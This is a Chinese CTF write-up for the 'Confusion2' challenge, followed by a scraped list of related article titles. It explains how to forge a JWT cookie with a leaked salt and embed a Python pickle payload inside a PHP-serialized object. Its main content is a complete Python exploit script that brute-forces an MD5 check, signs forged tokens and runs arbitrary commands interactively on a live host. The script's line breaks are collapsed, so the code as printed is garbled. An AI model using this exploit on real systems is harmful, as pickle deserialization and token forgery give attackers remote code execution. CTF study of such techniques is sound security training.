这个题是Confusion1的延续,所以根据题目提示,先在1中把salt文件内容先读出来

_Y0uW1llN3verKn0w1t_

这里开放了register和login,注册并登陆
关于md5值爆破,我比较习惯使用数字来爆破,效率比较高一下

<?php
$i=0;
for ($i;$i<=9999999999999999;$i++) {if (substr(md5($i), 0, 6) == '7358dd') {echo($i);exit;}
}

登陆后并没有什么发现

查看cookie,发现token是ey开头的,猜测是jwt

解密

得出一串PHP序列化后的字符串

{"data": "O:4:\"User\":2:{s:9:\"user_data\";s:57:\"(lp1\nVadmin\np2\naS'202cb962ac59075b964b07152d234b70'\np3\na.\";}"}

再看看,发现User类中user_data这个属性,是Python序列化的字符串

(lp1\nVtest\np2\naS'098f6bcd4621d373cade4e832627b4f6'\np3\na

这里可以利用pickle反序列化漏洞

根据提示

sign = alg(header + payload + SALT)

得出signature

var encodedString = base64UrlEncode(header) + '.' + base64UrlEncode(payload);
var signature = SHA256(encodedString +  '_Y0uW1llN3verKn0w1t_');

那思路有了

  • 构造好Python序列化的RCE的字符串
  • 放进PHP的序列化的字符串里面
  • 根据上文JWT算法算出对应的签名
  • 替换Cookie,就能执行任意命令
  • Flag通过HTTP外带出来就行了

参考Payload:

import cPickle
import os
import sys
import base64
import hashlib
import json
import Cookie
import commands
import requests
import reif os.name != 'posix':print 'This  must be run on Linux!'sys.exit(1)sess = requests.Session()
url = 'http://220.249.52.133:35437/'
SALT = '_Y0uW1llN3verKn0w1t_'
username = 'test'
password = 'test'
cmd = 'ls'def md5proof(strs,num):for i in range(100000,100000000):a = hashlib.md5(str(i).encode('utf-8')).hexdigest()if a[0:num] == strs:print("[md5proof] %d" %i)return str(i)def base64_url_encode(text):return base64.b64encode(text).replace('+', '-').replace('/', '_').replace('=', '')def base64_url_decode(text):text = text.replace('-', '+').replace('_', '/')while True:try:result = base64.b64decode(text)except TypeError:text += '='else:breakreturn resultclass PickleRce(object):def __reduce__(self):return commands.getoutput, (cmd, )def register(username, password):while True:verify = md5proof(re.findall('\'\),0,6\) === \'(.*?)\'</span>',sess.get(url + 'login.php', allow_redirects=False).content)[0],6)if len(verify) > 0 and '*' not in verify:breakdata = {'username': username,'password': password,'verify': verify}ret = sess.post(url + 'register.php', data=data, allow_redirects=False)if 'success' in ret.content:return Trueelse:print '[!] Register failed!'print ret.contentreturn Falsedef login(username, password):while True:verify = md5proof(re.findall('\'\),0,6\) === \'(.*?)\'</span>',sess.get(url + 'login.php', allow_redirects=False).content)[0],6)if len(verify) > 0 and '*' not in verify:breakdata = {'username': username,'password': password,'verify': verify}ret = sess.post(url + 'login.php', data=data, allow_redirects=False)if 'success' in ret.content:return retelse:print '[!] Login failed!'print ret.contentreturn Nonedef create_jwt(kid, data):jwt_header = base64_url_encode('{"typ":"JWT","alg":"sha256","kid":"%d"}' % kid)jwt_payload = base64_url_encode('{"data":"%s"}' % data)jwt_signature = base64_url_encode(hashlib.sha256(jwt_header + '.' + jwt_payload + SALT).hexdigest())return jwt_header + '.' + jwt_payload + '.' + jwt_signaturedef serialize():payload = cPickle.dumps([PickleRce(), PickleRce()])data = json.dumps('O:4:"User":2:{s:9:"user_data";s:%d:"%s";}' % (len(payload), payload))[1:-1]print datareturn dataif register(username, password) is not None:login_result = login(username, password)if login_result is not None:try:while True:cmd = raw_input('>>> ')cookies = login_result.cookies# print '[*] Old Cookie token: ' + cookies['token']jwt = create_jwt(int(re.findall('"kid":"(.*?)"', base64_url_decode(login_result.cookies['token'].split('.')[0]))[0]), serialize())new_token = Cookie.SimpleCookie().value_encode(jwt)[1]# print '[*] New Cookie token: ' + new_tokennew_cookies = {'PHPSESSID': cookies['PHPSESSID'],'token': new_token}ret = requests.get(url + 'index.php',allow_redirects=False, cookies=new_cookies)print '[*] RCE result: ' + re.findall('<p class="hello">Hello ([\s\S]*?)</p>', ret.content)[0]except KeyboardInterrupt:print '\nExit.'

攻防世界--Confusion2相关推荐

  1. 【攻防世界001】Guess-the-Number

    攻防世界之前刷了几十题了,没写wp,感觉很简单没啥意思.后来参加了几次比赛,发现有点干不动,决定还是老老实实刷题好了.这是第一篇wp,这题很简单,是个jar,用jd-gui可以得到java源码. 原来 ...

  2. 攻防世界(pwn)--Mary_Morton 利用格式化字符串+栈溢出破解Canary的保护机制

    ctf(pwn) canary保护机制讲解 与 破解方法介绍 程序执行流程 有三个选项,1是利用栈溢出,2是利用格式化字符串,3是退出;可连续输入多次; IDA分析 解题思路 程序存在canary保护 ...

  3. 攻防世界(Pwn) forgot---栈溢出;(方法二)

    攻防世界(Pwn) forgot-栈溢出:(方法一) 里面对问题描述的更详细一点 返回目标函数 0x80486CC 方法二(爆破流) 因为最终返回的是 v3[0]-v3[9] 之中的一个函数, v3[ ...

  4. 攻防世界(Pwn) forgot---栈溢出;(方法一)

    攻防世界(Pwn) forgot-栈溢出:(方法二) 介绍 这道题表面看起来有点复杂,其实很简单,有两种方法可以来做这一道题; 方法一(精确打击) 文件运行流程是: 1.先输入名字 2. 输入一串字符 ...

  5. 攻防世界misc新手_[攻防世界]mobile新手练习区easy-apk

    [攻防世界]mobile新手练习区easy-apk easy-apk最佳Writeup由129师386旅独立团 • devi1提供 难度系数: 7.0 题目来源: 暂无 题目描述:无 题目场景: 暂无 ...

  6. 攻防世界 ——crypto

    目录 新手区部分题解: 1,easy_RSA 2,Normal_RSA 3, 幂数加密 4,easy_ECC 高手进阶区部分题题解 5, ENC 6,告诉你个秘密 7,Easy-one 8,说我作弊需 ...

  7. 攻防世界———MISC 高手区题解

    目录 1,base64stego 2,easycap 3,Avatar 4,What-is-this 5,签到题 6,Training-Stegano-1 7,Excaliflag 8,Get-the ...

  8. 攻防世界 web(二)

    这周接着刷攻防世界的web题( ̄︶ ̄)↗ 1.command_execution 看提示这题为命令执行漏洞(command_execution),关于命令执行漏洞,我前面有篇博客详细介绍了,大家不了解 ...

  9. misc高阶 攻防世界_攻防世界 Misc 进阶题(一)

    攻防世界 Misc 进阶题(一) 关于隐写术的思路或方法 转载: https://blog.csdn.net/a_small_rabbit/article/details/79644078     隐 ...

最新文章

  1. LeetCode上最难的链表算法题,没有之一
  2. 面试官问我,使用Dubbo有没有遇到一些坑?我笑了。
  3. Mysql京东的一道面试题目 比较综合
  4. android 判断http编码格式,安卓入门笔记之HttpURLConnection的使用
  5. 学计算机学体育生闺女,古力:生个女儿一定学围棋 生个儿子就去踢足球
  6. fiber报错 (type *big.Int has no field or method FillBytes)
  7. 目前我们再用的即时通讯软件
  8. 文都计算机考研辅导班哪个好,考研辅导班哪个好,海文还是文都?
  9. 考研数据结构(3)笔记
  10. java怎么格式化日期_java 时间格式化各种方法
  11. 2016服务器系统驱动,windows sever2016驱动大家是怎么装的啊
  12. Java中9种常见的CMS GC问题分析与解决
  13. 园区网核心交换机与出口路由器如何配置才能通信?
  14. pacman下载时经常出现Operation too slow. Less than 1 bytes/sec transferred the last 10 seconds
  15. (转)一些jbx的配置
  16. easyExcel工具类使用
  17. dns劫持 tplink_解决路由器DNS劫持的两种方法
  18. 介绍一款LaTeX编辑器——LyX
  19. 明确不站队BAT,帆软——这家只有几百人的BI公司靠什么赢得生存?
  20. 手机app开发需要哪些技术?

热门文章

  1. 吴恩达机器学习神经网络 8-1非线性假设
  2. 如果电脑蓝屏0xc000021a怎么办
  3. 笔记本电脑 a disk read error occurred 问题解决
  4. 【音乐可视化】Audacity,一款免费的多轨音频编辑器
  5. STM32单片机的电子密码锁设计
  6. Banner本地,网络,图片轮播
  7. Windows 平台下局域网劫持测试工具 – EvilFoca
  8. **遇到“Cannot create file “不要慌**
  9. 掌握“盘带技术”——比较磁盘存储和磁带存储
  10. 盘点 2021 年十大网络安全事件